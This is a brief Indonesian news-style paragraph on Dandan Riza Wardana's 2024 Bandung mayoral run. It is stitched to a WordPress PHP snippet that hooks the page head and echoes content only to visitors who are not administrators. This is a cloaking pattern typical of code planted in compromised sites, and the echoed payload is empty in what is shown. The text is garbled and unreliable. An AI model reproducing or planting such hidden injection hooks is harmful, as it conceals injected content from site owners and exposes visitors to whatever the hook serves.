    Pilkada 2024 menjadi ujian besar bagi Dandan Riza Wardana. Mampukah ia meyakinkan publik bahwa dirinya layak untuk memimpin Kota Bandung? Atau masa lalunya akan terus menjadi penghalang dalam perjalanan politiknya? Satu hal yang pasti, masyarakat Bandung akan memantau setiap langkahnya dengan kritis.***
?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);